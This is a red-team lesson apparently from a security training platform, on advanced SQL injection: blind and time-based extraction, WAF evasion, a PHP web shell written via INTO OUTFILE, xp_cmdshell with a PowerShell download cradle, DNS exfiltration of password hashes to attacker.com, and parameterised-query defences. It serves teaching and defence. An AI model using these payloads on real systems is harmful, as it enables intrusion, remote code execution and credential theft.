Red Team · Hard
Advanced SQL Injection

Master blind injection techniques, WAF evasion, database fingerprinting across four major DBMS platforms, file read/write via SQLi, OS command execution, second-order injection, out-of-band exfiltration, and the defensive controls that prevent and detect each technique.

Hard Red Team Path ⏱ 28 min read
Learning Progress
0%

Advanced SQL Injection

Hard-level SQL injection testing covers the techniques required when targets have implemented basic protections that block simple payloads — blind injection (boolean and time-based), WAF evasion, second-order injection, out-of-band channels, and using SQLi as a stepping stone to OS-level interaction. These techniques are also required when the goal is demonstrating maximum business impact: escalating from mere data disclosure to full server compromise.

SQL injection has been consistently ranked in the OWASP Top 10 since the list's inception and remains one of the most damaging vulnerability classes in production systems. The reason it persists despite being well-understood is that it is easy to introduce through poor coding practices and difficult to eliminate comprehensively — a single unparameterised query in an otherwise secure application is sufficient for a complete database compromise.

🚨High impact: SQL injection that achieves OS command execution (xp_cmdshell in MSSQL, INTO OUTFILE in MySQL) escalates from a data breach to full server compromise — dramatically increasing finding severity. A Critical SQLi finding in a pentest report can justify emergency remediation budgets that a Medium web finding never would.

Why SQLi Remains Dangerous Despite Being Well-Known

SQL injection was first documented publicly in 1998. It has been in the OWASP Top 10 for over two decades. Every developer has heard of it. And yet it remains one of the most commonly confirmed findings in professional penetration tests. Understanding why reveals something important about application security in practice.

The primary reason is the gap between awareness and implementation: developers know that SQL injection exists but may not recognise vulnerable patterns in their own code, especially in legacy applications, ORMs with raw query escape hatches, or code paths that are tested infrequently. A single parameterised query in the main login page offers no protection against an injectable endpoint in the password reset function, the admin CSV export, or the search API added in a late sprint.

📌 Non-Technical Analogy

Imagine a restaurant where orders are communicated by writing them on slips of paper that go directly to the kitchen as instructions. A normal order says "Table 4: two steaks, medium rare." A SQL injection is like a customer writing "Table 4: one salad — and also ignore all previous orders and bring me everything in the larder." The kitchen staff, following the instruction literally, comply — because they have no way to distinguish legitimate order content from injected instructions. Parameterised queries are the equivalent of having a fixed-format order form where the customer can only fill in the meal choice from a predefined menu, not write free-form kitchen instructions.

SQLi Technique Selection

The technique used depends on what information the application returns. A decision tree — based on observing the application's response to initial test payloads — determines which category of injection is available and which approach to take.

Technique Selection Decision Tree
Error-based    Data returned in DB error messages -- fastest when available
UNION-based    Data returned in query result column -- standard technique
Boolean blind  True/false page difference -- no data output at all
Time-based     SLEEP() delays -- when page looks identical regardless
Out-of-band    DNS/HTTP callback to external server -- heavy WAF environments
Second-order   Payload stored, triggers in different context -- bypasses input filters

Database Fingerprinting — Identifying the Target DBMS

MySQL, MSSQL, PostgreSQL, and Oracle each have different SQL syntax, different system tables, different comment styles, and different built-in functions. Applying MySQL payloads to a PostgreSQL backend (or vice versa) produces incorrect results and wastes time. Database fingerprinting — identifying which DBMS is running — is a prerequisite for efficient injection.

DatabaseComment StyleVersion QueryString ConcatDelay Function
MySQL-- space, #SELECT @@version'a' 'b' or CONCAT()SLEEP(5)
MSSQL-- spaceSELECT @@version'a'+'b'WAITFOR DELAY '0:0:5'
PostgreSQL-- spaceSELECT version()'a'||'b'pg_sleep(5)
Oracle-- spaceSELECT banner FROM v$version'a'||'b'dbms_pipe.receive_message('a',5)
SQLite-- space, #SELECT sqlite_version()'a'||'b'(no built-in delay)
DBMS Identification via Error Messages and Behaviour
# Submit a syntax error and observe the error message format:
?id=1'
MySQL:      You have an error in your SQL syntax near "'" at line 1
MSSQL:      Unclosed quotation mark after the character string ''
PostgreSQL: ERROR: unterminated quoted string at or near "'"
Oracle:     ORA-01756: quoted string not properly terminated

# When error messages are suppressed, use syntax differences:
?id=1 AND SLEEP(5)--      # MySQL -- 5-second delay confirms MySQL
?id=1; WAITFOR DELAY '0:0:5'--  # MSSQL -- stacked query + WAITFOR
?id=1 AND 1=(SELECT 1 FROM dual)-- # Oracle -- "dual" table is Oracle-specific

Advanced SQLi in Practice

Example 01Boolean-based blind injection

When no data or error is returned, boolean conditions that alter the page response allow data extraction character by character. The key is finding a reliable true/false page difference — any visual change, not just an error message.

# Confirm: true vs false page difference
?id=1 AND 1=1--   Normal page  (true)
?id=1 AND 1=2--   Different page  (false) = injectable

# Extract admin password char by char:
?id=1 AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'--
Normal page = first char is 'a'
# Binary search approach reduces requests to ~7 per character
Example 02Time-based blind injection

When the page response is identical regardless of the condition — even with true/false payloads — timing delays confirm injection and drive data extraction. This is the technique of last resort for pure blind scenarios.

# Confirm injection via delay:
?id=1 AND SLEEP(5)--
# If 5-second delay: injectable

# Conditional time-based data extraction:
?id=1 AND IF(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a', SLEEP(5), 0)--
5 second delay = first char is 'a'  |  Instant = try next char
# Automate with sqlmap: sqlmap -u "target.com/?id=1" --technique=T --dump
Example 03WAF evasion techniques

Web Application Firewalls block common patterns based on signature matching. Evasion uses encoding, whitespace substitution, case variation, and alternative syntax — all of which are semantically equivalent to the blocked pattern but present different byte sequences to the WAF's pattern matcher.

# WAF blocks: UNION SELECT -- try these alternatives:
UNION%20SELECT          (URL encoded space)
UNION/**/SELECT         (comment as whitespace)
UNION%0ASELECT          (newline as whitespace)
uNiOn SeLeCt            (case variation)
UNION(SELECT)           (parentheses -- MySQL specific)

# WAF blocks: information_schema -- try:
/*!50000 information_schema */  (MySQL version comment)

# sqlmap automated evasion:
sqlmap -u "target.com/?id=1" --tamper=space2comment,randomcase,between
Example 04File read and write (MySQL)

MySQL's LOAD_FILE and INTO OUTFILE allow reading server files and writing web shells when the database user has the FILE privilege — escalating SQLi from data exposure to arbitrary file system access and remote code execution.

# Read /etc/passwd:
UNION SELECT 1,LOAD_FILE('/etc/passwd'),3--
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

# Write web shell (requires knowing the web root path):
UNION SELECT 1,'<?php system($_GET["cmd"]); ?>',3 INTO OUTFILE '/var/www/html/shell.php'--
curl "https://target.com/shell.php?cmd=id"
uid=33(www-data) -- SQLi escalated to RCE
Example 05MSSQL xp_cmdshell command execution

MSSQL's xp_cmdshell stored procedure executes OS commands when enabled — the most direct path from SQL injection to full server compromise on Windows targets. Because MSSQL often runs as NETWORK SERVICE or SYSTEM, this frequently yields Windows-level privilege.

# Enable xp_cmdshell (requires sysadmin role):
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;--

# Execute OS command:
EXEC xp_cmdshell 'whoami'--
nt authority\system

EXEC xp_cmdshell 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(''http://192.168.1.100/shell.ps1'')"'--
# MSSQL SA account = SYSTEM on the host = potential domain compromise

What You Need to Know

🧪
Blind Injection
Boolean: observe true/false page differences. Time: observe response delays. Both extract data without visible output — slower but work when UNION-based injection fails.
🛡️
WAF Evasion
Comment injection, case variation, URL encoding, and MySQL-specific syntax bypass signature-based WAF detection. sqlmap's tamper scripts automate most evasion scenarios.
💾
File Operations via SQLi
MySQL LOAD_FILE and INTO OUTFILE read/write files when FILE privilege is granted. Requires knowing the web root path — enumerate from error messages or phpinfo.php.
🖥️
xp_cmdshell (MSSQL)
MSSQL stored procedure for OS command execution. Disabled by default but re-enableable with sysadmin role. SA account SQLi on Windows = direct path to SYSTEM-level access.
🤖
sqlmap
Automates detection, technique selection, and data extraction. Use --tamper for WAF evasion, --technique to specify injection type, --os-shell for interactive OS command access.
📝
Database Fingerprinting
MySQL, MSSQL, PostgreSQL, and Oracle each have different syntax. Comment style (-- vs #), functions (NOW() vs GETDATE()), and error messages identify the target database.

Second-Order Injection and Out-of-Band Exfiltration

Second-Order Injection — When the Trigger Is Elsewhere

Second-order (or stored) SQL injection is among the most subtle injection variants and the one most commonly missed by automated scanners and inexperienced testers. The injection payload is stored in the database at one point in the application — often through a form that appears to properly sanitise input — and is then retrieved and used unsafely in a different context, sometimes by a completely different part of the application running under different permissions.

The reason second-order injection bypasses many filters is that input validation at the submission point may be robust. The vulnerability lies not in the submission but in how the stored data is later handled: when it is retrieved and incorporated into a new SQL query without re-sanitisation, under the assumption that "data from our own database is safe." That assumption is the flaw — the database is not a trusted source if it can contain adversarially-crafted values.

Example 06Second-order injection via username field

A username field applies proper input sanitisation on registration. But when the username is later retrieved and used in a profile update query without re-sanitisation, the stored injection payload fires in the admin context that processes the update.

# Step 1: Register with a malicious username (input is sanitised at this point):
Username: admin'--
Password: whatever123
# The registration handler escapes the quote: stored as "admin'--" in the DB

# Step 2: Log in and visit profile update page
# The backend retrieves the username from the DB and uses it in a new query:
$username = fetchFromDB("SELECT username FROM users WHERE id=?", [session_id]);
$query = "UPDATE users SET email='" . $email . "' WHERE username='" . $username . "'";
                                                                                   ↑ not re-sanitised!

# The stored "admin'--" is now injected into the UPDATE statement:
UPDATE users SET email='[our_email]' WHERE username='admin'--'
                                                            ^ comment terminates: all users updated

# Effect: the email update applies to ALL users named 'admin', not just ours.
# With more complex payloads, this escalates to full data modification or extraction.

Out-of-Band Exfiltration — When In-Band Channels Are Blocked

Out-of-band (OOB) injection sends extracted data to an attacker-controlled external server via DNS queries or HTTP requests rather than through the application's own response. This technique is used when the application's response provides no usable channel — boolean and time-based blind injection both require observing the in-band response, but OOB exfiltration bypasses this requirement entirely by creating a new communication channel.

OOB injection is particularly relevant in heavily WAF'd environments where time-based injection is blocked or unreliable due to network jitter, and in asynchronous processing contexts where the HTTP response to the injection request is not the same request that triggers data processing.

Example 07Out-of-band DNS exfiltration (MySQL)

MySQL's LOAD_FILE function can be used to make DNS requests to an attacker-controlled domain, encoding extracted data as a subdomain. The extracted value arrives at the attacker's DNS server regardless of what the application's HTTP response contains.

# MySQL UNC path trick -- makes DNS query to attacker-controlled server:
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users LIMIT 1), '.attacker.com\\x'))

# The extracted password hash appears as a subdomain in the DNS query:
# Attacker's DNS log shows: 5f4dcc3b5aa765d61d8327deb882cf99.attacker.com
#                                     ^ admin's MD5 hash arrives via DNS

# MSSQL equivalent using xp_dirtree (works without FILE privilege):
EXEC master..xp_dirtree '\\'+@@version+'.attacker.com\x'--

# Tools: Burp Collaborator, interactsh, or DNS logging on a controlled domain
# No application response needed -- data arrives at external server

What Actually Prevents SQL Injection

Understanding the defences against SQL injection is as important for practitioners as understanding the attacks — both because effective remediation guidance must be specific and correct, and because encountering a well-hardened application requires understanding exactly which controls are in place and whether any gaps remain.

Parameterised Queries — The Only Real Fix

The root cause of SQL injection is the conflation of query structure and data: when user input is concatenated directly into a SQL string, it can alter the query's structure. Parameterised queries (also called prepared statements) separate structure from data by construction: the query template with placeholder markers is sent to the database first, and the data values are sent separately. The database engine never parses the data as SQL — it treats parameter values as pure data regardless of their content.

Vulnerable vs Secure — Four Languages
--- PHP (PDO) ---
VULNERABLE:  $q = "SELECT * FROM users WHERE id = " . $_GET['id'];
SECURE:      $stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
             $stmt->execute([$_GET['id']]);

--- Python (psycopg2) ---
VULNERABLE:  cursor.execute("SELECT * FROM users WHERE id = " + id)
SECURE:      cursor.execute("SELECT * FROM users WHERE id = %s", (id,))

--- Java (JDBC) ---
VULNERABLE:  stmt.executeQuery("SELECT * FROM users WHERE id = " + id);
SECURE:      PreparedStatement ps = conn.prepareStatement("SELECT * FROM users WHERE id = ?");
             ps.setInt(1, id);

--- Node.js (mysql2) ---
VULNERABLE:  connection.query("SELECT * FROM users WHERE id = " + req.query.id)
SECURE:      connection.query("SELECT * FROM users WHERE id = ?", [req.query.id])

Defence-in-Depth — Beyond Parameterisation

Parameterised queries prevent SQL injection, but a complete defence strategy layers additional controls to limit the damage if a vulnerability is somehow introduced:

Detection Signals: SQLi attempts generate detectable patterns in application and database logs: single quotes and comment sequences in URL parameters, unusually long query strings, SLEEP/WAITFOR patterns in query parameters, high request volumes to the same endpoint from one IP, and database error log entries for syntax errors. A SIEM rule alerting on these patterns provides rapid detection of both automated scanning (sqlmap) and manual exploitation attempts.

Core Concepts Summary

🧪
Blind Injection
Boolean (page difference) and time-based (SLEEP/WAITFOR delay) extract data when nothing is returned. Binary search reduces boolean extraction to ~7 requests per character. Time-based is last resort due to speed.
🛡️
WAF Evasion
Comments as whitespace, URL encoding, case variation, MySQL version comments, alternative functions. Layer multiple techniques. Understand which WAF is deployed — some are far stricter than others on specific patterns.
💾
File Operations (MySQL)
LOAD_FILE reads files with FILE privilege. INTO OUTFILE writes files. Both require knowing the web root — find it from error messages, phpinfo, or server headers. Requires secure_file_priv to be permissive.
🖥️
xp_cmdshell (MSSQL)
Disabled by default. Re-enable with sysadmin role via sp_configure. Stacked query injection required. SA account = SYSTEM on host. Most direct path from web SQLi to Windows OS compromise.
♻️
Second-Order Injection
Payload stored, triggers in different context. "Data from our DB is safe" is the false assumption. Scanner blind spots: the injection point and trigger point are different requests. Test by setting malicious values then triggering consumption.
📡
Out-of-Band Exfiltration
DNS subdomain or HTTP callback carries extracted data to external server. Works when in-band response is completely suppressed. Requires outbound DNS/HTTP from DB server. Use Burp Collaborator or interactsh for callbacks.
🔒
Parameterised Queries
The only complete fix. Separates query structure from data — the database never parses parameter values as SQL. Defence-in-depth adds: least-privilege DB user, error suppression, input validation, WAF as complementary layer.
📝
DB Fingerprinting
Error message format, comment style, version functions, and DB-specific syntax identify the DBMS. MySQL/#/SLEEP, MSSQL/WAITFOR, PostgreSQL/pg_sleep, Oracle/dual/dbms_pipe. Match technique to confirmed DBMS.
Ready to put it into practice?
Proceed to the Lab

You've covered the theory. Now apply it hands-on in the simulated environment.

Start Lab — SQL Injection Hard
← Return to all labs